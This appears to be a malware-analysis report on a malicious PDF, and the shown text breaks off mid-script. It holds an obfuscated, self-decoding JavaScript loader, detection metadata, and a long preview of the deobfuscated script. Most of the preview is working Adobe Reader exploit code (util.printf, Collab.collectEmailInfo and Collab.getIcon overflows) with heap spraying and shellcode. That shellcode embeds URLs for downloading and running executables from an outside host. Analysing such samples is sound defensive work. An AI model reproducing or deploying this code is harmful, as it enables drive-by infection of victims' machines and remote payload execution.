6,152,170,111,69,62,65,61,158,163,170,84,96,170,153,166,88,151,167,169,166,168,88,113,88,100,115,84,155,163,173,162,172,84,116,84,155,163,173,162,172,102,115,84,155,163,173,162,172,95,99,93,179,65,66,61,65,61,165,153,165,147,153,166,170,149,177,143,155,163,173,162,172,145,88,113,88,173,153,166,171,164,88,95,88,167,160,153,164,160,155,163,156,153,115,65,66,61,65,177,69,62,65,61,174,149,170,84,167,170,157,166,158,160,167,171,88,113,88,169,166,153,171,151,153,164,157,92,90,89,173,100,155,100,155,89,173,100,155,100,155,86,97,111,69,62,65,61,175,156,161,160,157,84,96,163,174,153,170,154,164,163,175,98,164,153,166,155,172,156,88,112,88,104,108,109,109,102,97,175,69,62,65,61,65,163,174,153,170,154,164,163,175,84,99,113,88,163,174,153,170,154,164,163,175,111,69,62,65,61,181,65,66,61,65,168,160,157,171,98,155,163,164,160,153,150,139,168,167,166,157,84,117,84,123,163,164,160,153,150,102,151,167,160,164,153,155,168,125,161,153,157,164,125,166,154,167,92,179,167,173,150,162,110,88,86,90,96,165,167,159,110,88,163,174,153,170,154,164,163,175,177,97,111,69,62,65,177,69,62,69,62,65,154,173,162,155,168,161,163,166,84,155,163,164,160,153,150,151,155,157,168,161,151,167,162,96,93,179,65,66,61,65,157,158,84,96,149,168,164,102,152,167,151,102,119,167,160,164,149,154,98,159,153,172,125,155,163,166,93,179,65,66,61,65,61,174,149,170,84,153,166,170,173,88,113,88,162,157,171,88,117,170,166,153,173,96,93,115,65,66,61,65,61,174,149,170,84,174,170,168,153,172,156,177,149,88,113,88,169,166,153,171,151,153,164,157,92,90,89,173,121,122,121,113,89,173,100,104,100,105,89,173,105,110,100,104,89,173,117,105,106,108,89,173,100,104,103,104,89,173,100,104,100,104,89,173,104,104,108,122,89,173,108,122,100,123,89,173,101,123,107,104,89,173,108,122,117,124,89,173,100,112,104,104,89,173,119,107,105,125,89,173,108,122,105,109,89,173,108,122,121,123,89,173,100,112,104,109,89,173,103,107,105,106,89,173,119,105,120,106,89,173,100,107,119,106,89,173,101,104,103,106,89,173,108,104,104,104,89,173,100,104,103,112,89,173,122,109,107,109,89,173,119,106,108,122,89,173,105,124,105,121,89,173,100,108,119,106,89,173,105,109,100,104,89,173,121,123,108,122,89,173,105,105,105,105,89,173,105,110,105,107,89,173,106,104,105,111,89,173,105,124,108,122,89,173,103,107,100,112,89,173,108,122,119,104,89,173,100,123,107,109,89,173,122,125,108,122,89,173,107,110,100,107,89,173,108,122,103,123,89,173,107,112,104,125,89,173,119,126,100,107,89,173,105,105,108,122,89,173,105,106,101,123,89,173,105,105,108,122,89,173,105,106,102,108,89,173,107,105,108,122,89,173,104,125,101,108,89,173,107,109,108,113,89,173,108,122,122,123,89,173,102,104,107,105,89,173,122,111,100,107,89,173,104,121,109,113,89,173,104,106,117,124,89,173,103,122,106,104,89,173,122,123,105,109,89,173,100,108,107,109,89,173,119,104,103,107,89,173,103,111,121,122,89,173,122,126,103,107,89,173,104,109,100,107,89,173,109,111,100,123,89,173,119,126,108,122,89,173,107,109,117,125,89,173,102,122,122,124,89,173,104,126,122,113,89,173,121,112,105,105,89,173,122,126,109,108,89,173,122,126,122,126,89,173,119,107,103,122,89,173,107,108,106,105,89,173,121,122,100,106,89,173,108,122,120,113,89,173,100,123,104,109,89,173,105,125,109,106,89,173,122,106,100,107,89,173,121,104,120,105,89,173,119,110,100,107,89,173,119,113,103,107,89,173,118,111,100,126,89,173,105,126,100,112,89,173,121,105,119,105,89,173,100,107,100,106,89,173,100,107,119,121,89,173,108,122,119,126,89,173,100,107,100,105,89,173,108,113,119,106,89,173,122,112,104,109,89,173,108,122,106,105,89,173,122,112,104,109,89,173,105,125,105,126,89,173,119,113,105,122,89,173,105,109,119,107,89,173,121,123,108,122,89,173,121,112,105,105,89,173,122,126,104,113,89,173,122,126,122,126,89,173,106,112,105,104,89,173,106,104,121,112,89,173,100,108,118,126,89,173,106,123,121,112,89,173,122,126,122,126,89,173,103,107,122,126,89,173,105,106,120,106,89,173,122,126,105,106,89,173,100,112,107,109,89,173,120,104,122,126,89,173,104,109,108,113,89,173,108,122,122,123,89,173,122,123,104,109,89,173,119,107,119,113,89,173,108,122,105,109,89,173,108,107,121,123,89,173,100,123,121,123,89,173,104,109,108,124,89,173,105,104,122,108,89,173,104,109,119,110,89,173,107,109,122,108,89,173,104,109,119,110,89,173,107,106,122,109,89,173,104,109,119,110,89,173,106,123,122,110,89,173,104,109,119,110,89,173,106,124,122,111,89,173,104,109,119,110,89,173,106,126,122,112,89,173,104,109,119,110,89,173,106,125,122,113,89,173,104,109,119,110,89,173,102,125,122,121,89,173,104,109,119,110,89,173,106,108,122,122,89,173,104,109,119,110,89,173,106,123,122,123,89,173,104,109,119,110,89,173,106,123,122,124,89,173,104,109,119,110,89,173,100,104,122,125,89,173,117,104,121,112,89,173,122,126,122,126,89,173,105,104,122,126,89,173,105,124,106,112,89,173,101,105,108,121,89,173,121,112,101,110,89,173,122,126,101,109,89,173,122,126,122,126,89,173,119,108,108,107,89,173,108,109,100,123,89,173,107,108,119,104,89,173,106,121,101,109,89,173,106,121,100,104,89,173,122,126,100,104,89,173,100,123,107,109,89,173,107,109,122,126,89,173,106,121,100,112,89,173,122,126,100,104,89,173,108,109,120,104,89,173,107,109,119,104,89,173,104,104,100,107,89,173,119,107,119,113,89,173,119,104,103,107,89,173,119,107,119,113,89,173,103,107,105,111,89,173,108,122,119,104,89,173,102,108,104,123,89,173,108,122,100,123,89,173,102,108,107,123,89,173,122,123,100,112,89,173,117,121,122,107,89,173,119,107,105,126,89,173,104,123,108,122,89,173,100,108,102,108,89,173,103,113,108,104,89,173,108,122,100,104,89,173,107,108,119,105,89,173,104,104,100,110,89,173,103,112,108,104,89,173,107,109,100,104,89,173,102,122,122,121,89,173,119,107,119,105,89,173,108,122,105,109,89,173,108,107,121,123,89,173,106,108,121,123,89,173,108,124,105,107,89,173,122,104,104,109,89,173,103,107,105,111,89,173,105,104,120,122,89,173,104,109,119,110,89,173,106,122,122,104,89,173,104,109,119,110,89,173,106,109,122,105,89,173,104,109,119,110,89,173,107,106,122,106,89,173,104,109,119,110,89,173,106,125,122,107,89,173,104,109,119,110,89,173,106,109,122,108,89,173,104,109,119,110,89,173,106,123,122,109,89,173,104,109,119,110,89,173,103,107,122,110,89,173,104,109,119,110,89,173,103,106,122,111,89,173,104,109,119,110,89,173,102,125,122,112,89,173,104,109,119,110,89,173,106,108,122,113,89,173,104,109,119,110,89,173,106,123,122,121,89,173,104,109,119,110,89,173,106,123,122,122,89,173,105,124,108,112,89,173,121,112,122,123,89,173,122,126,100,122,89,173,122,126,122,126,89,173,106,112,105,104,89,173,104,107,106,112,89,173,108,125,122,113,89,173,108,104,121,112,89,173,122,126,122,125,89,173,108,122,122,126,89,173,108,124,122,112,89,173,109,123,104,109,89,173,104,108,106,121,89,173,121,112,105,104,89,173,122,126,107,125,89,173,122,126,122,126,89,173,104,109,108,124,89,173,106,121,121,104,89,173,105,104,101,104,89,173,107,107,121,112,89,173,122,126,122,126,89,173,108,107,122,126,89,173,101,123,119,108,89,173,104,109,108,124,89,173,105,104,121,104,89,173,104,109,108,124,89,173,105,104,109,123,89,173,105,107,105,107,89,173,105,107,105,107,89,173,105,107,105,107,89,173,107,109,122,126,89,173,119,111,100,112,89,173,109,123,104,109,89,173,100,104,104,108,89,173,100,104,100,104,89,173,122,126,105,107,89,173,105,126,120,111,89,173,118,110,100,126,89,173,105,122,119,104,89,173,119,107,119,113,89,173,108,122,105,109,89,173,105,105,121,123,89,173,105,107,105,105,89,173,105,111,105,110,89,173,104,106,106,121,89,173,107,106,121,112,89,173,100,104,100,104,89,173,108,122,100,104,89,173,103,107,120,112,89,173,108,109,122,110,89,173,105,113,120,122,89,173,104,109,119,111,89,173,106,105,122,112,89,173,106,109,102,125,89,173,119,111,107,112,89,173,122,123,104,109,89,173,100,104,106,109,89,173,100,104,100,104,89,173,105,110,107,125,89,173,104,109,108,124,89,173,105,104,122,112,89,173,121,112,105,110,89,173,100,104,105,105,89,173,100,104,100,104,89,173,105,104,105,113,89,173,118,105,121,112,89,173,122,126,122,125,89,173,108,109,122,126,89,173,105,113,119,104,89,173,107,108,105,113,89,173,108,124,103,113,89,173,100,105,104,110,89,173,121,112,105,104,89,173,100,104,103,122,89,173,100,104,100,104,89,173,122,112,108,122,89,173,104,109,108,124,89,173,105,104,122,112,89,173,102,105,121,112,89,173,122,126,122,126,89,173,108,109,122,126,89,173,105,113,119,104,89,173,107,108,105,113,89,173,105,111,100,123,89,173,100,105,121,112,89,173,122,126,122,126,89,173,105,113,122,126,89,173,104,108,119,110,89,173,122,126,103,112,89,173,105,104,107,107,89,173,104,109,108,124,89,173,122,125,122,112,89,173,105,112,100,104,89,173,104,109,108,124,89,173,105,104,122,112,89,173,121,112,105,111,89,173,122,125,107,108,89,173,122,126,122,126,89,173,105,113,105,113,89,173,104,110,104,110,89,173,122,107,103,122,89,173,117,121,107,123,89,173,105,125,105,126,89,173,119,113,105,122,89,173,105,109,119,107,89,173,121,123,108,122,89,173,105,107,105,105,89,173,106,104,106,110,89,173,103,106,118,105,89,173,100,104,121,112,89,173,100,104,100,104,89,173,105,112,100,104,89,173,100,112,103,112,89,173,100,107,107,108,89,173,121,122,104,104,89,173,104,104,122,113,89,173,105,124,108,122,89,173,108,104,100,112,89,173,104,106,122,122,89,173,100,112,107,109,89,173,120,122,103,107,89,173,101,112,108,121,89,173,119,107,108,122,89,173,101,111,121,122,89,173,101,112,103,112,89,173,101,105,107,110,89,173,103,107,104,104,89,173,108,108,119,113,89,173,107,108,120,122,89,173,104,104,100,123,89,173,100,112,103,112,89,173,122,122,107,109,89,173,122,125,104,104,89,173,121,122,119,122,89,173,103,107,122,106,89,173,108,113,119,104,89,173,122,123,104,109,89,173,104,109,108,122,89,173,105,122,122,123,89,173,119,107,119,113,89,173,100,106,103,106,89,173,107,108,106,112,89,173,107,104,107,108,89,173,102,126,103,121,89,173,106,111,102,126,89,173,106,113,106,122,89,173,106,123,107,104,89,173,106,124,106,105,89,173,106,125,106,113,89,173,107,106,102,125,89,173,102,126,107,109,89,173,106,123,106,111,89,173,102,126,106,105,89,173,106,125,106,113,89,173,107,104,106,126,89,173,107,113,107,110,89,173,102,125,103,106,89,173,107,112,106,109,89,173,100,104,106,109,89,173,107,108,106,112,89,173,107,104,107,108,89,173,102,126,103,121,89,173,106,111,102,126,89,173,106,113,106,122,89,173,106,123,107,104,89,173,106,124,106,105,89,173,106,125,106,113,89,173,107,106,102,125,89,173,102,126,107,109,89,173,106,123,106,111,89,173,102,126,106,105,89,173,106,123,106,107,89,173,106,107,106,113,89,173,102,125,106,122,89,173,106,112,107,104,89,173,103,126,107,104,89,173,103,124,107,106,89,173,100,104,100,104,86,97,111,69,62,65,61,65,170,153,166,88,156,143,165,109,100,104,119,134,84,117,84,174,170,168,153,172,156,177,149,102,160,157,162,159,168,160,84,98,84,106,111,69,62,65,61,65,170,153,166,88,160,157,162,88,113,88,100,176,104,104,100,104,100,104,84,101,84,96,156,143,165,109,100,104,119,134,84,99,84,104,172,107,108,97,111,69,62,65,61,65,170,153,166,88,173,153,166,171,164,88,113,88,169,166,153,171,151,153,164,157,92,90,89,173,109,104,109,104,89,173,109,104,109,104,86,97,111,69,62,65,61,65,173,153,166,171,164,88,113,88,154,161,172,151,157,172,92,177,149,170,167,168,96,88,160,157,162,97,111,69,62,65,61,65,170,153,166,88,164,109,117,162,127,110,105,158,84,117,84,96,100,176,100,155,100,155,100,155,100,155,84,101,84,104,172,108,100,104,100,104,100,97,84,103,84,104,172,108,100,104,100,104,100,115,65,66,61,65,61,158,163,170,84,96,170,153,166,88,170,169,151,137,120,113,106,177,84,117,84,104,111,88,170,169,151,137,120,113,106,177,84,116,84,168,105,121,158,131,106,109,154,115,84,174,165,155,133,124,109,110,173,88,95,99,84,97,175,69,62,65,61,65,61,153,166,170,173,147,170,169,151,137,120,113,106,177,145,88,113,88,173,153,166,171,164,88,95,88,170,174,164,157,168,160,173,153,111,69,62,65,61,65,177,69,62,65,61,65,170,153,166,88,168,141,129,160,130,154,123,175,84,117,84,173,162,157,167,155,149,168,153,96,86,93,100,113,86,97,111,69,62,65,61,65,171,160,157,164,153,88,92,172,137,133,156,134,150,127,171,102,160,157,162,159,168,160,84,116,84,104,172,108,100,104,100,97,175,69,62,65,61,65,61,172,137,133,156,134,150,127,171,88,95,117,84,172,137,133,156,134,150,127,171,115,65,66,61,65,61,181,65,66,61,65,61,172,137,133,156,134,150,127,171,88,113,88,86,134,98,90,84,99,84,172,137,133,156,134,150,127,171,115,65,66,61,65,61,153,164,168,98,156,163,155,98,123,163,164,160,153,150,102,155,157,168,129,151,167,162,96,168,141,129,160,130,154,123,175,93,115,65,66,61,65,177,69,62,65,177,69,62,69,62,65,154,173,162,155,168,161,163,166,84,168,152,158,147,171,168,153,166,172,92,97,175,69,62,69,62,65,61,174,149,170,84,174,153,170,167,161,163,166,84,117,84,153,164,168,98,174,157,157,171,157,166,142,153,170,167,161,163,166,98,172,163,139,168,170,157,166,155,96,93,115,65,66,61,65,170,157,166,171,157,167,162,88,113,88,170,157,166,171,157,167,162,102,166,157,164,164,149,155,153,96,99,148,120,103,155,100,91,95,93,115,65,66,61,65,170,153,166,88,170,153,166,171,157,167,162,151,149,170,166,153,173,88,113,88,162,157,171,88,117,170,166,153,173,96,170,157,166,171,157,167,162,102,151,160,149,170,117,172,92,104,93,100,84,174,153,170,167,161,163,166,98,155,156,153,166,121,168,96,101,97,96,88,170,157,166,171,157,167,162,102,151,160,149,170,117,172,92,106,93,97,111,69,62,65,61,161,154,88,92,96,170,153,166,171,157,167,162,151,149,170,166,153,173,147,100,149,84,117,113,88,108,97,84,94,90,88,92,174,149,170,167,161,163,166,147,153,166,170,149,177,143,105,145,88,113,117,84,104,93,88,176,180,84,96,170,153,166,171,157,167,162,151,149,170,166,153,173,147,101,149,84,117,113,88,101,88,90,94,84,174,149,170,167,161,163,166,147,153,166,170,149,177,143,106,145,88,112,88,103,97,93,179,65,66,61,65,61,173,168,161,160,151,164,170,157,166,168,158,92,97,111,69,62,65,61,181,65,66,61,65,157,158,84,96,92,174,149,170,167,161,163,166,147,153,166,170,149,177,143,104,145,88,112,88,108,97,84,180,176,88,92,174,149,170,167,161,163,166,147,153,166,170,149,177,143,104,145,88,113,117,84,112,84,94,90,88,170,153,166,171,157,167,162,151,149,170,166,153,173,147,101,149,84,116,84,106,84,94,90,88,170,153,166,171,157,167,162,151,149,170,166,153,173,147,102,149,84,116,84,106,93,97,175,69,62,65,61,65,151,167,160,164,149,154,147,157,161,153,157,164,92,97,111,69,62,65,61,181,65,66,61,65,157,158,84,96,92,174,149,170,167,161,163,166,147,153,166,170,149,177,143,104,145,88,112,88,109,97,84,180,176,88,92,174,149,170,167,161,163,166,147,153,166,170,149,177,143,104,145,88,113,117,84,113,84,94,90,88,170,153,166,171,157,167,162,151,149,170,166,153,173,147,101,149,84,116,84,105,93,97,175,69,62,65,61,65,151,167,160,164,149,154,147,159,153,172,157,155,163,166,92,97,111,69,62,65,61,181,65,66,61,181,65,66,65,66,61,168,152,158,147,171,168,153,166,172,92,97,111,69,62,65],imux=function(){for(var abklmx;gqvwy<hksvw.length;gqvwy+=1){var fklrsz=gqvwy%chir.length+1;var bmns=chir.substring(gqvwy%chir.length,fklrsz);var bhqsu=hksvw[gqvwy];cdlmot+=rsux(bhqsu-bmns.charCodeAt(0));} cehjlr(cdlmot);};imux();etvz=13476;eopu=true;imot='';eijkoq=3667;bimqr="bimqr";
`legacy_pdfkit_stage_000.js`	deobfuscated-js	numeric array subtract-key decoded JavaScript at offset 0x1A5	9922 bytes
SHA-256: `e427a94a2a9ec2a07ab51e66b95f3aa0e342972230794da9933a6791f247db56`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script function fix_it(yarsp, len){ while (yarsp.length * 2 < len){ yarsp += yarsp; } yarsp = yarsp.substring(0, len/2); return yarsp; } function util_printf(){ var payload = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u672F%u696B%u6C70%u6D61%u6E69%u722E%u2F75%u6C67%u2F61%u6A61%u6F6D%u7771%u2E32%u7865%u0065%u7468%u7074%u2F3A%u672F%u696B%u6C70%u6D61%u6E69%u722E%u2F75%u6C67%u2F61%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A") var heapblock = nop + payload; var bigblock = unescape("%u0A0A%u0A0A"); var headersize = 20; var spray = headersize + heapblock.length; while (bigblock.length < spray){ bigblock += bigblock; } var fillblock = bigblock.substring(0, spray); var block = bigblock.substring(0, bigblock.length-spray); while (block.length+spray < 0x40000){ block = block + block + fillblock; } var mem_array = new Array(); for (var i = 0; i < 1400; i++){ mem_array[i] = block + heapblock; } var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888; util.printf("%45000f", num); } function collab_email(){ var shellcode = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u672F%u696B%u6C70%u6D61%u6E69%u722E%u2F75%u6C67%u2F61%u6361%u6F6A%u7A70%u2E32%u7865%u0065%u7468%u7074%u2F3A%u672F%u696B%u6C70%u6D61%u6E69%u722E%u2F75%u6C67%u2F61%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var mem_array = new Array(); var cc = 0x0c0c0c0c; var addr = 0x400000; var sc_len = shellcode.length * 2; var len = addr - (sc_len+0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var count2 = (cc - 0x400000)/addr; for (var count = 0; count < count2; count++){ mem_array[count] = yarsp + shellcode; } var overflow = unescape("%u0c0c%u0c0c"); while (overflow.length < 44952){ overflow += overflow; } this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow}); } function collab_geticon(){ if (app.doc.Collab.getIcon){ var arry = new Array(); var vvpethya = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u672F%u696B%u6C70%u6D61%u6E69%u722E%u2F75%u6C67%u2F61%u6E69%u706F%u7976%u2E32%u7865%u0065%u7468%u7074%u2F3A%u672F%u696B%u6C70%u6D61%u6E69%u722E%u2F75%u6C67%u2F61%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var hWq500CN = vvpethya.length * 2; var len = 0x400000 - (hWq500CN + 0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000; for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){ arry[vqcQD96y] = yarsp + vvpethya; } var tUMhNbGw = unescape("%09"); while (tUMhNbGw.length < 0x4000){ tUMhNbGw += tUMhNbGw; } tUMhNbGw = "N." + tUMhNbGw; app.doc.Collab.getIcon(tUMhNbGw); } } function pdf_start(){ var version = app.viewerVersion.toString(); version = version.replace(/\D/g,''); var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2)); if ((varsion_array[0] == 8) && (varsion_array[1] == 0) \|\| (varsion_array[1] == 1 && varsion_array[2] < 3)){ util_printf(); } if ((varsion_array[0] < 8) \|\| (varsion_array[0] == 8 && varsion_array[1] < 2 && varsion_array[2] < 2)){ collab_email(); } if ((varsion_array[0] < 9) \|\| (varsion_array[0] == 9 && varsion_array[1] < 1)){ 